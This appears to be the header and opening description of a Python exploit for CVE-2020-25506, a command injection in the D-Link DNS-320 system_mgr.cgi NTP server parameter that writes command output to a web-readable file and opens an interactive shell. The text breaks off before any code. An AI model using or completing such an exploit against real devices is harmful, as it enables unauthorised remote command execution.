D-Link DNS-320 - system_mgr.cgi Command Injection (CVE-2020-25506)

Exploits CVE-2020-25506 by injecting OS commands into fntpserver on /cgi-bin/systemmgr.cgi, writing stdout under /cgi-bin/.txt. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DNS-320 systemmgr.cgi NTP command injection CVE-2020-25506 — opens execute...